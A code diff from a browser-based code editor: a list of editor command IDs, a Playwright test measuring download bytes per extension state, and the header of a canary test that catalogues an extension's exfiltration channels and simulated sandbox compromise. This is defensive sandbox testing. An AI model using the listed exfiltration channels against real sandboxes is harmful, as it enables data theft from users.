1008+ "editor.action.peekImplementation",
1009+ "editor.action.peekLocations",
1010+ "editor.action.peekTypeDefinition",
1011+ "editor.action.previewDeclaration",
1012+ "editor.action.previousMatchFindAction",
1013+ "editor.action.previousSelectionMatchFindAction",
1014+ "editor.action.quickFix",
1015+ "editor.action.refactor",
1016+ "editor.action.referenceSearch.trigger",
1017+ "editor.action.reindentlines",
1018+ "editor.action.reindentselectedlines",
1019+ "editor.action.removeBrackets",
1020+ "editor.action.removeCommentLine",
1021+ "editor.action.removeDuplicateLines",
1022+ "editor.action.rename",
1023+ "editor.action.renderWhitespace.all",
1024+ "editor.action.renderWhitespace.boundary",
1025+ "editor.action.renderWhitespace.none",
1026+ "editor.action.renderWhitespace.selection",
1027+ "editor.action.renderWhitespace.trailing",
1028+ "editor.action.replaceAll",
1029+ "editor.action.replaceOne",
1030+ "editor.action.resetSuggestSize",
1031+ "editor.action.revealDeclaration",
1032+ "editor.action.revealDefinition",
1033+ "editor.action.revealDefinitionAside",
1034+ "editor.action.reverseLines",
1035+ "editor.action.scrollDownHover",
1036+ "editor.action.scrollLeftHover",
1037+ "editor.action.scrollRightHover",
1038+ "editor.action.scrollUpHover",
1039+ "editor.action.selectAll",
1040+ "editor.action.selectAllMatches",
1041+ "editor.action.selectEditor",
1042+ "editor.action.selectFromAnchorToCursor",
1043+ "editor.action.selectHighlights",
1044+ "editor.action.selectNextStickyScrollLine",
1045+ "editor.action.selectPreviousStickyScrollLine",
1046+ "editor.action.selectToBracket",
1047+ "editor.action.setSelectionAnchor",
1048+ "editor.action.showContextMenu",
1049+ "editor.action.showDefinitionPreviewHover",
1050+ "editor.action.showHover",
1051+ "editor.action.showOrFocusStandaloneColorPicker",
1052+ "editor.action.showReferences",
1053+ "editor.action.smartSelect.expand",
1054+ "editor.action.smartSelect.grow",
1055+ "editor.action.smartSelect.shrink",
1056+ "editor.action.sortLinesAscending",
1057+ "editor.action.sortLinesDescending",
1058+ "editor.action.sourceAction",
1059+ "editor.action.startFindReplaceAction",
1060+ "editor.action.toggleColumnSelection",
1061+ "editor.action.toggleMinimap",
1062+ "editor.action.toggleOvertypeInsertMode",
1063+ "editor.action.toggleRenderControlCharacter",
1064+ "editor.action.toggleRenderWhitespace",
1065+ "editor.action.toggleStickyScroll",
1066+ "editor.action.toggleTabFocusMode",
1067+ "editor.action.toggleWordWrap",
1068+ "editor.action.transformToCamelcase",
1069+ "editor.action.transformToKebabcase",
1070+ "editor.action.transformToLowercase",
1071+ "editor.action.transformToPascalcase",
1072+ "editor.action.transformToSnakecase",
1073+ "editor.action.transformToTitlecase",
1074+ "editor.action.transformToUppercase",
1075+ "editor.action.transpose",
1076+ "editor.action.transposeLetters",
1077+ "editor.action.triggerParameterHints",
1078+ "editor.action.triggerSuggest",
1079+ "editor.action.trimTrailingWhitespace",
1080+ "editor.action.unicodeHighlight.disableHighlightingOfAmbiguousCharacters",
1081+ "editor.action.unicodeHighlight.disableHighlightingOfInvisibleCharacters",
1082+ "editor.action.unicodeHighlight.disableHighlightingOfNonBasicAsciiCharacters",
1083+ "editor.action.unicodeHighlight.showExcludeOptions",
1084+ "editor.action.wordHighlight.next",
1085+ "editor.action.wordHighlight.prev",
1086+ "editor.action.wordHighlight.trigger",
1087+ "editor.actions.findWithArgs",
1088+ "editor.cancelOperation",
1089+ "editor.changeDropType",
1090+ "editor.changePasteType",
1091+ "editor.createFoldingRangeFromSelection",
1092+ "editor.fold",
1093+ "editor.foldAll",
1094+ "editor.foldAllBlockComments",
1095+ "editor.foldAllExcept",
1096+ "editor.foldAllMarkerRegions",
1097+ "editor.foldLevel1",
1098+ "editor.foldLevel2",
1099+ "editor.foldLevel3",
1100+ "editor.foldLevel4",
1101+ "editor.foldLevel5",
1102+ "editor.foldLevel6",
1103+ "editor.foldLevel7",
1104+ "editor.foldRecursively",
1105+ "editor.gotoNextFold",
1106+ "editor.gotoNextSymbolFromResult",
1107+ "editor.gotoNextSymbolFromResult.cancel",
1108+ "editor.gotoParentFold",
1109+ "editor.gotoPreviousFold",
1110+ "editor.hideDropWidget",
1111+ "editor.hidePasteWidget",
1112+ "editor.removeManualFoldingRanges",
1113+ "editor.toggleFold",
1114+ "editor.toggleFoldRecursively",
1115+ "editor.toggleImportFold",
1116+ "editor.unfold",
1117+ "editor.unfoldAll",
1118+ "editor.unfoldAllExcept",
1119+ "editor.unfoldAllMarkerRegions",
1120+ "editor.unfoldRecursively",
1121+ "editorScroll",
1122+ "expandLineSelection",
1123+ "expandSectionCodeAction",
1124+ "extension.bisect.next",
1125+ "extension.bisect.start",
1126+ "extension.bisect.stop",
1127+ "files.participants.resetChoice",
1128+ "focusAndAcceptSuggestion",
1129+ "focusNextRenameSuggestion",
1130+ "focusPreviousRenameSuggestion",
1131+ "focusSuggestion",
1132+ "getContextKeyInfo",
1133+ "goToNextReference",
1134+ "goToNextReferenceFromEmbeddedEditor",
1135+ "goToPreviousReference",
1136+ "goToPreviousReferenceFromEmbeddedEditor",
1137+ "hideCodeActionWidget",
1138+ "hideSuggestWidget",
1139+ "history.showNext",
1140+ "history.showPrevious",
1141+ "inlayHints.startReadingLineWithHint",
1142+ "inlayHints.stopReadingLineWithHint",
1143+ "insertBestCompletion",
1144+ "insertNextSuggestion",
1145+ "insertPrevSuggestion",
1146+ "insertSnippet",
1147+ "jumpToNextSnippetPlaceholder",
1148+ "jumpToPrevSnippetPlaceholder",
1149+ "lastCursorLineSelect",
1150+ "lastCursorLineSelectDrag",
1151+ "lastCursorWordSelect",
1152+ "leaveEditorMessage",
1153+ "leaveSnippet",
1154+ "lineBreakInsert",
1155+ "list.resizeColumn",
1156+ "menu.resetHiddenStates",
1157+ "noop",
1158+ "openReference",
1159+ "openReferenceToSide",
1160+ "outdent",
1161+ "paste",
1162+ "previewSelectedCodeAction",
1163+ "quickInput.accept",
1164+ "quickInput.acceptInBackground",
1165+ "quickInput.first",
1166+ "quickInput.hide",
1167+ "quickInput.last",
1168+ "quickInput.next",
1169+ "quickInput.nextSeparator",
1170+ "quickInput.nextSeparatorWithQuickAccessFallback",
1171+ "quickInput.pageNext",
1172+ "quickInput.pagePrevious",
1173+ "quickInput.previous",
1174+ "quickInput.previousSeparator",
1175+ "quickInput.previousSeparatorWithQuickAccessFallback",
1176+ "quickInput.toggleCheckbox",
1177+ "quickInput.toggleHover",
1178+ "redo",
1179+ "removeSecondaryCursors",
1180+ "replacePreviousChar",
1181+ "revealLine",
1182+ "revealReference",
1183+ "runCommands",
1184+ "scrollEditorBottom",
1185+ "scrollEditorTop",
1186+ "scrollLeft",
1187+ "scrollLineDown",
1188+ "scrollLineUp",
1189+ "scrollPageDown",
1190+ "scrollPageUp",
1191+ "scrollRight",
1192+ "selectFirstSuggestion",
1193+ "selectLastSuggestion",
1194+ "selectNextCodeAction",
1195+ "selectNextPageSuggestion",
1196+ "selectNextSuggestion",
1197+ "selectPrevCodeAction",
1198+ "selectPrevPageSuggestion",
1199+ "selectPrevSuggestion",
1200+ "setContext",
1201+ "setSelection",
1202+ "showNextParameterHint",
1203+ "showPrevParameterHint",
1204+ "suggestWidgetCopy",
1205+ "tab",
1206+ "toggleExplainMode",
1207+ "toggleFindCaseSensitive",
1208+ "toggleFindInSelection",
1209+ "toggleFindRegex",
1210+ "toggleFindWholeWord",
1211+ "togglePeekWidgetFocus",
1212+ "togglePreserveCase",
1213+ "toggleSectionCodeAction",
1214+ "toggleSuggestionDetails",
1215+ "toggleSuggestionFocus",
1216+ "type",
1217+ "undo",
1218+ "views.moveViewDown",
1219+ "views.moveViewLeft",
1220+ "views.moveViewRight",
1221+ "views.moveViewUp",
1222+ "vscode.moveViews",
1223+ "widgetNavigation.focusNext",
1224+ "widgetNavigation.focusPrevious",
1225+ "workbench.action.acceptSelectedQuickOpenItem",
1226+ "workbench.action.activityBarLocation.bottom",
1227+ "workbench.action.activityBarLocation.default",
1228+ "workbench.action.activityBarLocation.hide",
1229+ "workbench.action.activityBarLocation.top",
1230+ "workbench.action.alignPanelCenter",
1231+ "workbench.action.alignPanelJustify",
1232+ "workbench.action.alignPanelLeft",
1233+ "workbench.action.alignPanelRight",
1234+ "workbench.action.alignQuickInputCenter",
1235+ "workbench.action.alignQuickInputTop",
1236+ "workbench.action.alternativeAcceptSelectedQuickOpenItem",
1237+ "workbench.action.blur",
1238+ "workbench.action.clearCommandHistory",
1239+ "workbench.action.closeAuxiliaryBar",
1240+ "workbench.action.closePanel",
1241+ "workbench.action.closeQuickOpen",
1242+ "workbench.action.configureEditor",
1243+ "workbench.action.configureEditorTabs",
1244+ "workbench.action.customizeLayout",
1245+ "workbench.action.decreaseViewHeight",
1246+ "workbench.action.decreaseViewSize",
1247+ "workbench.action.decreaseViewWidth",
1248+ "workbench.action.editorActionsDefault",
1249+ "workbench.action.editorActionsTitleBar",
1250+ "workbench.action.editorDictation.start",
1251+ "workbench.action.editorDictation.stop",
1252+ "workbench.action.focusActivityBar",
1253+ "workbench.action.focusAuxiliaryBar",
1254+ "workbench.action.focusPanel",
1255+ "workbench.action.focusQuickOpen",
1256+ "workbench.action.gotoLine",
1257+ "workbench.action.gotoOffset",
1258+ "workbench.action.gotoSymbol",
1259+ "workbench.action.hideEditorActions",
1260+ "workbench.action.hideEditorTabs",
1261+ "workbench.action.increaseViewHeight",
1262+ "workbench.action.increaseViewSize",
1263+ "workbench.action.increaseViewWidth",
1264+ "workbench.action.inspectContextKeys",
1265+ "workbench.action.inspectKeyMappings",
1266+ "workbench.action.inspectKeyMappingsJSON",
1267+ "workbench.action.logStorage",
1268+ "workbench.action.logWorkingCopies",
1269+ "workbench.action.manageTrustedDomain",
1270+ "workbench.action.maximizeAuxiliaryBar",
1271+ "workbench.action.moveFocusedView",
1272+ "workbench.action.movePanelToSecondarySideBar",
1273+ "workbench.action.movePanelToSidePanel",
1274+ "workbench.action.moveSecondarySideBarToPanel",
1275+ "workbench.action.moveSideBarLeft",
1276+ "workbench.action.moveSideBarRight",
1277+ "workbench.action.moveSidePanelToPanel",
1278+ "workbench.action.moveView",
1279+ "workbench.action.newWindow",
1280+ "workbench.action.nextAuxiliaryBarView",
1281+ "workbench.action.nextPanelView",
1282+ "workbench.action.nextSideBarView",
1283+ "workbench.action.openRecent",
1284+ "workbench.action.openView",
1285+ "workbench.action.openWorkspaceFromEditor",
1286+ "workbench.action.positionPanelBottom",
1287+ "workbench.action.positionPanelLeft",
1288+ "workbench.action.positionPanelRight",
1289+ "workbench.action.positionPanelTop",
1290+ "workbench.action.previousAuxiliaryBarView",
1291+ "workbench.action.previousPanelView",
1292+ "workbench.action.previousSideBarView",
1293+ "workbench.action.quickInputBack",
1294+ "workbench.action.quickOpen",
1295+ "workbench.action.quickOpenNavigateNext",
1296+ "workbench.action.quickOpenNavigateNextInFilePicker",
1297+ "workbench.action.quickOpenNavigateNextInRecentFilesPicker",
1298+ "workbench.action.quickOpenNavigateNextInViewPicker",
1299+ "workbench.action.quickOpenNavigatePrevious",
1300+ "workbench.action.quickOpenNavigatePreviousInFilePicker",
1301+ "workbench.action.quickOpenNavigatePreviousInRecentFilesPicker",
1302+ "workbench.action.quickOpenNavigatePreviousInViewPicker",
1303+ "workbench.action.quickOpenPreviousEditor",
1304+ "workbench.action.quickOpenRecent",
1305+ "workbench.action.quickOpenSelectNext",
1306+ "workbench.action.quickOpenSelectPrevious",
1307+ "workbench.action.quickOpenView",
1308+ "workbench.action.quickOpenWithModes",
1309+ "workbench.action.quickPickManyToggle",
1310+ "workbench.action.reloadWindow",
1311+ "workbench.action.removeLargeStorageDatabaseEntries",
1312+ "workbench.action.resetFocusedViewLocation",
1313+ "workbench.action.resetViewLocations",
1314+ "workbench.action.restoreAuxiliaryBar",
1315+ "workbench.action.showAboutDialog",
1316+ "workbench.action.showCommands",
1317+ "workbench.action.showEditorActions",
1318+ "workbench.action.showEditorTab",
1319+ "workbench.action.showHover",
1320+ "workbench.action.showMultipleEditorTabs",
1321+ "workbench.action.showPolicyDiagnostics",
1322+ "workbench.action.syncAccountPolicy",
1323+ "workbench.action.toggleAuxiliaryBar",
1324+ "workbench.action.toggleCenteredLayout",
1325+ "workbench.action.toggleConfirmBeforeClose",
1326+ "workbench.action.toggleEditorVisibility",
1327+ "workbench.action.toggleFullScreen",
1328+ "workbench.action.toggleKeybindingsLog",
1329+ "workbench.action.toggleMaximizedAuxiliaryBar",
1330+ "workbench.action.toggleMaximizedPanel",
1331+ "workbench.action.toggleMenuBar",
1332+ "workbench.action.toggleMultiCursorModifier",
1333+ "workbench.action.togglePanel",
1334+ "workbench.action.toggleScreencastMode",
1335+ "workbench.action.toggleSeparatePinnedEditorTabs",
1336+ "workbench.action.toggleSidebarPosition",
1337+ "workbench.action.toggleSidebarVisibility",
1338+ "workbench.action.toggleStatusbarVisibility",
1339+ "workbench.action.url.openUrl",
1340+ "workbench.actions.workbench.panel.comments.toggleResolvedComments",
1341+ "workbench.actions.workbench.panel.comments.toggleSortByResource",
1342+ "workbench.actions.workbench.panel.comments.toggleSortByUpdatedAt",
1343+ "workbench.actions.workbench.panel.comments.toggleUnResolvedComments",
1344+ "workbench.extensions.action.openInstalledWebExtensionsResource"
1345+ ]
1346+}
added tests/x2_bytes.mjs +268 −0
@@ -0,0 +1,268 @@
1+// What people who never turn on an extension's code download, compared with
2+// Code's main before level 2 (84cc38b, which has level 1), and what turning it
3+// on downloads.
4+//
5+// node tests/x2_bytes.mjs
6+//
7+// The tip's web/ comes from `git archive` into a temporary folder and is served
8+// by a second test server on another loopback port. The same steps run against
9+// both, each in a fresh browser profile, and the requests of the measured page
10+// are compared. Four states:
11+// 1. no extensions;
12+// 2. level 1 only: a theme installed and chosen;
13+// 3. a code extension installed with its code turned off (Prettier's real
14+// .vsix; on the tip, the same file gives its declarative parts);
15+// 4. the Extensions panel open and a search done (Open VSX mocked the same
16+// way for both).
17+// In each: the same request URLs (path and query; Code's site and the CDN)
18+// and the same count; nothing under /vendor/x2/ or /js/ext2/ and nothing from
19+// the sandbox site. Code's bytes (each file counted at its size on disk, the
20+// way the test server sends it, uncompressed): with no extension at all, within
21+// +1 KB of the tip (the two hooks in ide.js and main.js). With level 1
22+// extensions the level 1 modules carry level 2's hooks (host.js decides when
23+// to load js/ext2/host2.js; the panel shows everyone what will work, the
24+// "Works in Code" filter and how isolation works), so those states have a
25+// budget instead, printed file by file: +5 KB with an extension active (2, 3)
26+// and +20 KB with the panel open (4).
27+// Then, with the code turned on: the manifest's three files fetched once each
28+// and verified, and after a reload none of them asked from the server again.
29+// (Tampering, ?noext, ?noext2 and the kill switch: tests/x2_smoke.mjs D and E.)
30+import fs from 'node:fs';
31+import os from 'node:os';
32+import path from 'node:path';
33+import { execFileSync } from 'node:child_process';
34+import { fileURLToPath } from 'node:url';
35+import { chromium } from 'playwright';
36+import { startServer } from './lib/x2-server.mjs';
37+import { fetchVsix, PINNED } from './lib/x2-vsix.mjs';
38+import { mockOpenVsx } from './lib/openvsx-mock.mjs';
39+import { themeVsix } from './ext_fixtures.mjs';
40+
41+const HERE = path.dirname(fileURLToPath(import.meta.url));
42+const REPO = path.resolve(HERE, '..');
43+// main justo antes de fusionar el nivel 2 (el nivel 1 incluido). Era 84cc38b,
44+// la base de la rama; tras la fusión, eso medía como si fuera del nivel 2 todo lo
45+// que main había añadido después (actividad.js, el panel nuevo, popular.json…).
46+const TIP = 'd2a6b98';
47+// 4: 25 KB y no 20 desde la fusión con main: el panel de main ya tenía su propio
48+// filtro («solo las que funcionan») y el fusionado lleva los dos y su convivencia.
49+const BUDGET = { 1: 1024, 2: 5 * 1024, 3: 5 * 1024, 4: 25 * 1024 };
50+let fails = 0;
51+const ok = (name, c, extra = '') => { console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
52+const sleep = ms => new Promise(r => setTimeout(r, ms));
53+async function until(fn, { timeout = 30000, every = 150 } = {}) {
54+ const end = Date.now() + timeout;
55+ let v;
56+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
57+ return v;
58+}
59+
60+// ── el árbol del nivel 1, tal cual ──
61+const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'x2-bytes-'));
62+execFileSync('/bin/sh', ['-c', `/usr/bin/git -C "$1" archive ${TIP} web | tar -x -C "$2"`, 'sh', REPO, tmp]);
63+const tipWeb = path.join(tmp, 'web');
64+if (!fs.existsSync(path.join(tipWeb, 'js/ide.js'))) { console.log('❌ git archive of the tip gave no web/'); process.exit(1); }
65+
66+let prettier;
67+try { prettier = (await fetchVsix({ ...PINNED.find(p => p.name === 'prettier-vscode'), offline: process.env.X2_OFFLINE === '1' })).bytes; }
68+catch (e) { console.log(`⏭️ NOT RUN x2_bytes — esbenp.prettier-vscode@12.4.0: ${e.message}`); fs.rmSync(tmp, { recursive: true, force: true }); process.exit(0); }
69+const theme = themeVsix();
70+
71+const now = await startServer();
72+const tip = await startServer({ webRoot: tipWeb });
73+const trees = { now: { srv: now, web: path.join(REPO, 'web') }, tip: { srv: tip, web: tipWeb } };
74+const browser = await chromium.launch();
75+
76+// tamaño de lo que manda el servidor de pruebas: el fichero tal cual, o «not found»
77+function sizeOf(web, urlPath) {
78+ try { const st = fs.statSync(path.join(web, decodeURIComponent(urlPath))); return st.isDirectory() ? fs.statSync(path.join(web, decodeURIComponent(urlPath), 'index.html')).size : st.size; }
79+ catch { return 'not found'.length; }
80+}
81+
82+async function freshPage(tree) {
83+ const ctx = await browser.newContext();
84+ await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
85+ const page = await ctx.newPage();
86+ await page.goto(tree.srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
87+ await page.evaluate(async () => {
88+ const o = await navigator.storage.getDirectory();
89+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
90+ await w('app.js', 'const x = {a:1}\n');
91+ await w('notes.md', '# notes\n');
92+ });
93+ return { ctx, page };
94+}
95+const openIde = async (page, tree) => {
96+ await page.goto(tree.srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' });
97+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
98+};
99+const host = page => page.evaluate(async () => !!(await (await import('/js/ide.js')).loadExt()));
100+async function installFile(page, name, bytes, opts = {}) {
101+ return page.evaluate(async ({ name, b64, opts }) => {
102+ const bin = atob(b64);
103+ const u8 = new Uint8Array(bin.length);
104+ for (let i = 0; i < bin.length; i++) u8[i] = bin.charCodeAt(i);
105+ const h = await (await import('/js/ide.js')).loadExt();
106+ const rec = await h.install(new File([u8], name), opts);
107+ return rec.id;
108+ }, { name, b64: Buffer.from(bytes).toString('base64'), opts });
109+}
110+
111+// la página medida: cada petición, hasta que todo queda quieto
112+async function measure(ctx, page, steps) {
113+ const reqs = [];
114+ let last = Date.now(), inflight = 0;
115+ const onReq = r => { reqs.push(r.url()); inflight++; last = Date.now(); };
116+ const onDone = () => { inflight--; last = Date.now(); };
117+ ctx.on('request', onReq); ctx.on('requestfinished', onDone); ctx.on('requestfailed', onDone);
118+ await steps();
119+ await until(() => inflight <= 0 && Date.now() - last > 1500, { timeout: 30000, every: 100 });
120+ ctx.off('request', onReq); ctx.off('requestfinished', onDone); ctx.off('requestfailed', onDone);
121+ return reqs;
122+}
123+
124+function summarize(tree, reqs) {
125+ const origin = tree.srv.codeOrigin;
126+ const own = [], cdn = [], sandbox = [];
127+ for (const u of reqs) {
128+ if (u.startsWith('data:') || u.startsWith('blob:')) continue;
129+ const x = new URL(u);
130+ if (x.origin === origin) own.push(x.pathname + x.search);
131+ else if (x.hostname === 'localhost') sandbox.push(x.pathname);
132+ else cdn.push(x.origin + x.pathname);
133+ }
134+ const bytes = own.reduce((n, p) => n + sizeOf(tree.web, p.split('?')[0]), 0);
135+ return { own: own.sort(), cdn: cdn.sort(), sandbox, bytes };
136+}
137+
138+const diff = (a, b) => {
139+ const count = l => l.reduce((m, x) => m.set(x, (m.get(x) || 0) + 1), new Map());
140+ const ca = count(a), cb = count(b), out = [];
141+ for (const k of new Set([...a, ...b])) { const d = (ca.get(k) || 0) - (cb.get(k) || 0); if (d) out.push((d > 0 ? '+' : '') + d + ' ' + k); }
142+ return out;
143+};
144+
145+async function compare(label, run, budget, { comparable = true, porque = '' } = {}) {
146+ const r = {};
147+ for (const k of ['tip', 'now']) r[k] = summarize(trees[k], await run(trees[k], k));
148+ const d = diff(r.now.own, r.tip.own);
149+ const l2 = r.now.own.filter(p => /^\/vendor\/x2\/|^\/js\/ext2\//.test(p));
150+ ok(`${label}: nothing from level 2 (vendor, js/ext2) and nothing from the sandbox site`, !l2.length && !r.now.sandbox.length, [...l2, ...r.now.sandbox].join(' '));
151+ // Sin base comparable se dice, y no se inventa una igualdad que no se midió.
152+ if (!comparable) { console.log(`ℹ️ ${label}: no comparable with the tip (${porque}); only the check above applies`); return r; }
153+ ok(`${label}: the same ${r.tip.own.length} requests to Code’s site as the tip`, !d.length, d.slice(0, 6).join(' · '));
154+ const dc = diff(r.now.cdn, r.tip.cdn);
155+ ok(`${label}: the same ${r.tip.cdn.length} requests elsewhere (Monaco’s CDN) as the tip`, !dc.length, dc.slice(0, 4).join(' · '));
156+ const delta = r.now.bytes - r.tip.bytes;
157+ const grown = [...new Set(r.now.own.map(p => p.split('?')[0]))]
158+ .map(p => [p, sizeOf(trees.now.web, p) - sizeOf(trees.tip.web, p)]).filter(([, n]) => n).sort((a, b) => b[1] - a[1]);
159+ ok(`${label}: Code’s bytes within +${budget >= 2048 ? budget / 1024 + ' KB' : '1 KB'} of the tip (${r.tip.bytes} → ${r.now.bytes}, ${delta >= 0 ? '+' : ''}${delta})`, delta <= budget,
160+ grown.slice(0, 8).map(([p, n]) => `${p} ${n > 0 ? '+' : ''}${n}`).join(' · '));
161+ return r;
162+}
163+
164+// ── 1. sin extensiones ──
165+await compare('1 no extensions', async tree => {
166+ const { ctx, page } = await freshPage(tree);
167+ const reqs = await measure(ctx, page, async () => {
168+ await openIde(page, tree);
169+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('app.js'); });
170+ });
171+ await ctx.close();
172+ return reqs;
173+}, BUDGET[1]);
174+
175+// ── 2. solo nivel 1: un tema instalado y elegido ──
176+await compare('2 level 1 only', async tree => {
177+ const { ctx, page } = await freshPage(tree);
178+ await openIde(page, tree);
179+ await host(page);
180+ const id = await installFile(page, 'elf-theme.vsix', theme);
181+ await page.evaluate(async id => { const h = await (await import('/js/ide.js')).loadExt(); const t = h.themes().find(x => x.ext === id); await h.setTheme(t.id); }, id);
182+ const reqs = await measure(ctx, page, async () => {
183+ await openIde(page, tree);
184+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('app.js'); });
185+ });
186+ await ctx.close();
187+ return reqs;
188+}, BUDGET[2]);
189+
190+// ── 3. una extensión con código instalada, con el código apagado ──
191+const runsOff = {};
192+await compare('3 code extension installed, its code off', async (tree, k) => {
193+ const { ctx, page } = await freshPage(tree);
194+ await openIde(page, tree);
195+ await host(page);
196+ if (k === 'now') {
197+ const id = await installFile(page, 'prettier.vsix', prettier, { withCode: true });
198+ await page.evaluate(async id => { const h = await (await import('/js/ide.js')).loadExt(); await h.setRuns(id, false); }, id);
199+ runsOff.rec = await page.evaluate(async id => { const h = await (await import('/js/ide.js')).loadExt(); const r = h.list().find(e => e.id === id); return { code: !!r.code, runs: r.runs }; }, id);
200+ // el recinto que arrancó al instalarla se desmonta antes de medir
201+ await until(() => page.evaluate(() => !document.getElementById('x2-sandbox')), { timeout: 30000 });
202+ } else {
203+ // En la base (main antes del nivel 2) Prettier NO se instala: lo único que
204+ // aportaría es su código, y main lo rechaza con «codeonly». Ese rechazo es
205+ // el estado de antes del nivel 2; cualquier otro error sí es un fallo.
206+ await installFile(page, 'prettier.vsix', prettier).catch(e => { if (!/codeonly/.test(String(e?.message || e))) throw e; });
207+ }
208+ const reqs = await measure(ctx, page, async () => {
209+ await openIde(page, tree);
210+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('app.js'); });
211+ });
212+ await ctx.close();
213+ return reqs;
214+}, BUDGET[3], { comparable: false, porque: 'main before level 2 refuses to install Prettier: all it would add is its code (codeonly)' });
215+ok('3 premise: the extension was installed with its code, and the code is off', runsOff.rec?.code === true && runsOff.rec?.runs === false, JSON.stringify(runsOff.rec));
216+
217+// ── 4. el panel abierto y una búsqueda hecha ──
218+const fake = (name, extra) => ({ namespace: 'elffuss-test', name, version: '1.0.0', keywords: ['elffuss-bytes'], published: null,
219+ manifest: { name, publisher: 'elffuss-test', version: '1.0.0', displayName: 'Bytes ' + name, engines: { vscode: '^1.80.0' }, ...extra } });
220+const fakes = [
221+ fake('web', { browser: './web.js', contributes: { commands: [{ command: 'b.x', title: 'X' }] } }),
222+ fake('node', { main: './out.js' }),
223+ fake('theme', { contributes: { themes: [{ label: 'T', uiTheme: 'vs-dark', path: './t.json' }] } }),
224+];
225+await compare('4 the panel open and a search done', async tree => {
226+ const { ctx, page } = await freshPage(tree);
227+ await mockOpenVsx(ctx, fakes);
228+ const reqs = await measure(ctx, page, async () => {
229+ await openIde(page, tree);
230+ await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); });
231+ await page.waitForSelector('#ext-q');
232+ await page.fill('#ext-q', 'elffuss-bytes');
233+ await page.press('#ext-q', 'Enter');
234+ await page.waitForFunction(() => document.querySelectorAll('#ext-results .ext-row').length === 3, null, { timeout: 15000 });
235+ });
236+ await ctx.close();
237+ return reqs;
238+}, BUDGET[4]);
239+
240+// ── 5. con el código encendido: el bundle una vez, verificado, y de la caché después ──
241+{
242+ const { ctx, page } = await freshPage(trees.now);
243+ await openIde(page, trees.now);
244+ await host(page);
245+ const before = now.requests.length;
246+ const id = await installFile(page, 'prettier.vsix', prettier, { withCode: true });
247+ const st = await until(() => page.evaluate(async () => { const s = (await import('/js/ext2/bridge.js')).state(); return s.state === 'running' || s.state === 'error' ? s.state : null; }), { timeout: 90000 });
248+ const manifest = JSON.parse(fs.readFileSync(path.join(REPO, 'web/js/ext2/vendor-manifest.json'), 'utf8'));
249+ const vendor = now.requests.slice(before).map(r => r.url.split('?')[0]).filter(u => u.startsWith('/vendor/x2/'));
250+ const want = manifest.files.map(f => `/vendor/x2/${manifest.buildId}/${f.name}.gz`).sort();
251+ ok('5 code on: the sandbox runs on the verified bundle', st === 'running', String(st));
252+ ok('5 the manifest’s three files, once each, from its buildId', JSON.stringify(vendor.sort()) === JSON.stringify(want), vendor.join(' '));
253+ const before2 = now.requests.length;
254+ await openIde(page, trees.now);
255+ const st2 = await until(() => page.evaluate(async () => { const s = (await import('/js/ext2/bridge.js')).state(); return s.state === 'running' || s.state === 'error' ? s.state : null; }), { timeout: 90000 });
256+ const again = now.requests.slice(before2).map(r => r.url.split('?')[0]).filter(u => u.startsWith('/vendor/x2/'));
257+ ok('5 after a reload the sandbox runs again and the server is not asked for the bundle again (HTTP cache)', st2 === 'running' && again.length === 0, `${st2}; ${again.join(' ')}`);
258+ await page.evaluate(async id => { const h = await (await import('/js/ide.js')).loadExt(); await h.uninstall(id); }, id);
259+ ok('5 uninstalling it takes the sandbox down', !!(await until(() => page.evaluate(() => !document.getElementById('x2-sandbox')))));
260+ await ctx.close();
261+}
262+
263+await browser.close();
264+await now.close();
265+await tip.close();
266+fs.rmSync(tmp, { recursive: true, force: true });
267+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
268+process.exit(fails ? 1 : 0);
added tests/x2_canary.mjs +378 −0
@@ -0,0 +1,378 @@
1+// Canario del nivel 2 (aceptación de la parte B2): una extensión intenta
2+// salir por cada canal que tiene, la página la pinta con todo envenenado, y
3+// nada puede llegar a la baliza.
4+//
5+// node tests/x2_canary.mjs
6+//
7+// Montaje: Chromium con --host-resolver-rules (los *.test, open-vsx.org y
8+// openvsx.eclipsecontent.org van a la baliza; el bucle local y
9+// cdn.jsdelivr.net, normales; cualquier otro nombre no resuelve), un NetLog
10+// de la sesión, y la baliza (HTTP, HTTPS con certificado propio, WebSocket,
11+// toda conexión TCP y UDP para STUN). La página de Code lleva un vigía
12+// (MutationObserver) que apunta cualquier imagen, enlace, estilo o marco que
13+// apunte fuera.
14+//
15+// Fase A, con la extensión canario (tests/lib/x2-canary-ext.mjs):
16+// W cada canal del worker (red, almacenamiento de Code, portapapeles,
17+// openExternal, tramas RPC hechas a mano);
18+// P lo que pinta la página: hover, detalles del autocompletado, firmas,
19+// el hover de un diagnóstico, avisos, el modal, el selector, el cuadro de
20+// texto, una acción de código y un autocompletado que abren direcciones,
21+// Cmd+clic en una dirección del documento, la vista previa HTML de un
22+// fichero que tocó la extensión y una escritura al portapapeles sin
23+// gesto. Cada diálogo se cancela.
24+// Fase B: aceptar UNA dirección produce exactamente una visita, la de la URL
25+// que enseñó el diálogo.
26+// Simulacro: código de ataque evaluado directamente en el marco del recinto y
27+// en el del host de extensiones, como si ya estuvieran comprometidos.
28+// Controles positivos: sin la CSP del host el canario SÍ llega a la baliza;
29+// el markdown hostil sin sanitize.js SÍ pinta una imagen y llega; el NetLog
30+// SÍ ve una resolución de *.test pedida por la página y las del bucle local;
31+// los canarios de almacenamiento SÍ se ven desde el mismo origen; y hay
32+// mensajes de violación de CSP.
33+import fs from 'node:fs';
34+import os from 'node:os';
35+import path from 'node:path';
36+import { chromium } from 'playwright';
37+import { startServer } from './lib/x2-server.mjs';
38+import { startBeacon } from './lib/beacon.mjs';
